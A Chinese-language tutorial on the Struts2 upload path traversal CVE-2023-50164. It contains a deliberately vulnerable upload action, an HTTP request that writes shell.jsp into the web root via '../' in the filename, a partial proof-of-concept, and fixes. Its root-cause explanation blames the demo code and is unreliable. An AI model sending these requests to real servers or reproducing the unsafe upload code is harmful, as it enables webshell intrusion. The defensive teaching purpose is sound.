Apache Struts2 漏洞解析 (CVE-2023-50164)(S2-066)
字数 1739 2025-08-18 11:36:53
Apache Struts2 漏洞解析 (CVE-2023-50164/S2-066) 教学文档
一、漏洞概述
CVE-2023-50164(S2-066)是Apache Struts2框架中的一个高危漏洞,属于文件上传类型漏洞。攻击者可以通过控制上传参数实现目录穿越,如果环境中允许上传危险后缀文件(如jsp文件),攻击者可能结合该漏洞上传webshell至可解析目录,从而执行任意代码。
二、影响范围
受影响版本:
- 2.5.0 <= Apache Struts <= 2.5.32
- 6.0.0 <= Apache Struts <= 6.3.0
三、环境搭建
1. 准备工作
工具需求:
- IDEA 2021(或其他Java IDE)
- Apache Maven
- Tomcat服务器
Maven配置步骤:
- 下载Apache Maven(推荐3.6.3版本):https://archive.apache.org/dist/maven/maven-3/
- 创建本地仓库文件夹(如maven_repository)
- 修改Maven配置文件(conf/settings.xml),添加阿里云镜像加速:
<mirror>
<id>alimaven</id>
<name>aliyun maven</name>
<url>http://maven.aliyun.com/nexus/content/groups/public/</url>
<mirrorOf>central</mirrorOf>
</mirror>
2. 创建Maven项目
- 在IDEA中创建新项目,勾选"从archetype创建"
- 选择
org.apache.maven.archetypes:maven-archetype-webapp - 配置Maven路径和本地仓库路径
3. 添加Struts2依赖
在pom.xml中添加:
<dependency>
<groupId>org.apache.struts</groupId>
<artifactId>struts2-core</artifactId>
<version>6.3.0</version>
</dependency>
4. 关键代码实现
UploadAction.java
package com.struts2;
import com.opensymphony.xwork2.ActionSupport;
import org.apache.commons.io.FileUtils;
import java.io.File;
public class UploadAction extends ActionSupport {
private File upload;
private String uploadContentType;
private String uploadFileName;
// Getter和Setter方法
public File getUpload() { return upload; }
public void setUpload(File upload) { this.upload = upload; }
public String getUploadContentType() { return uploadContentType; }
public void setUploadContentType(String uploadContentType) { this.uploadContentType = uploadContentType; }
public String getUploadFileName() { return uploadFileName; }
public void setUploadFileName(String uploadFileName) { this.uploadFileName = uploadFileName; }
public String doUpload() {
String path = "D:\\up\\";
String realPath = path + File.separator + uploadFileName;
try {
FileUtils.copyFile(upload, new File(realPath));
} catch (Exception e) {
e.printStackTrace();
}
return SUCCESS;
}
}
struts.xml配置
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE struts PUBLIC "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN" "http://struts.apache.org/dtds/struts-2.0.dtd">
<struts>
<package name="upload" extends="struts-default">
<action name="upload" class="com.struts2.UploadAction" method="doUpload">
<result name="success">/index.jsp</result>
</action>
</package>
</struts>
web.xml配置
<web-app>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.filter.StrutsPrepareAndExecuteFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>*.action</url-pattern>
</filter-mapping>
</web-app>
index.jsp页面
<html>
<body>
<h2>文件上传测试</h2>
<form action="upload.action" method="post" enctype="multipart/form-data">
<input type="file" name="upload" />
<input type="submit" value="Upload" />
</form>
</body>
</html>
5. 服务器配置
- 在IDEA中添加Tomcat服务器配置
- 指定Tomcat安装路径
- 修复配置(Fix)确保项目部署正确
四、漏洞探测
- 通过pom.xml文件确认Struts2版本是否在受影响范围内
- 检查文件上传功能是否存在
五、漏洞利用
攻击原理
漏洞利用关键在于控制uploadFileName参数实现目录穿越。攻击者可以修改上传文件的文件名,通过包含../实现路径穿越。
攻击示例
修改Burp Suite请求:
POST /upload.action HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=125875361631274606281213046536
--125875361631274606281213046536
Content-Disposition: form-data; name="upload"; filename="../webapps/ROOT/shell.jsp"
Content-Type: text/plain
<% out.println("Hello, World!"); %>
--125875361631274606281213046536--
官方POC示例
POST /upload.action HTTP/1.1
Host: localhost:8080
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5WJ61X4PRwyYKlip
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="upload"; filename="poc.txt"
Content-Type: text/plain
test
------WebKitFormBoundary5WJ61X4PRwyYKlip
Content-Disposition: form-data; name="caption"; {{randstr(4097,4097)
------WebKitFormBoundary5WJ61X4PRwyYKlip--
六、漏洞分析
漏洞根源
- 文件上传处理机制:Struts2通过
UploadAction类处理文件上传,其中upload、uploadContentType和uploadFileName三个属性是关键 - 路径拼接问题:
doUpload方法中直接拼接上传路径和文件名,未对文件名进行安全校验
String realPath = path + File.separator + uploadFileName;
- 目录穿越可能:当
uploadFileName包含../时,可实现目录穿越
关键代码分析
-
属性绑定机制:
upload:对应上传的文件内容uploadContentType:文件类型(自动绑定name属性值+ContentType)uploadFileName:文件名(自动绑定name属性值+FileName)
-
文件保存过程:
- 通过
FileUtils.copyFile()将上传文件保存到指定路径 - 路径硬编码为"D:\up",缺乏灵活性
- 通过
七、防御措施
- 升级Struts2版本:升级到不受影响的版本
- 文件名校验:
- 过滤
../等特殊字符 - 使用白名单限制文件扩展名
- 过滤
- 安全存储:
- 将上传文件存储在web目录外
- 使用随机生成的文件名
- 权限控制:
- 限制上传目录的写入权限
- 禁用上传文件的执行权限
八、修复建议
- 官方补丁:应用Apache Struts发布的安全更新
- 自定义修复:修改文件上传逻辑,添加安全校验:
public String doUpload() {
String path = "D:\\up\\";
// 校验文件名
if(uploadFileName.contains("..") || uploadFileName.contains("/") || uploadFileName.contains("\\")) {
return ERROR;
}
// 校验文件扩展名
if(!uploadFileName.toLowerCase().endsWith(".txt")) {
return ERROR;
}
String realPath = path + File.separator + uploadFileName;
try {
FileUtils.copyFile(upload, new File(realPath));
} catch (Exception e) {
e.printStackTrace();
return ERROR;
}
return SUCCESS;
}
九、参考资源
- 官方漏洞公告:Apache Struts官网安全公告
- 技术分析:https://trganda.github.io/notes/security/vulnerabilities/apache-struts/Apache-Struts-Remote-Code-Execution-Vulnerability-(-S2-066-CVE-2023-50164)
- CVE详情:https://nvd.nist.gov/vuln/detail/CVE-2023-50164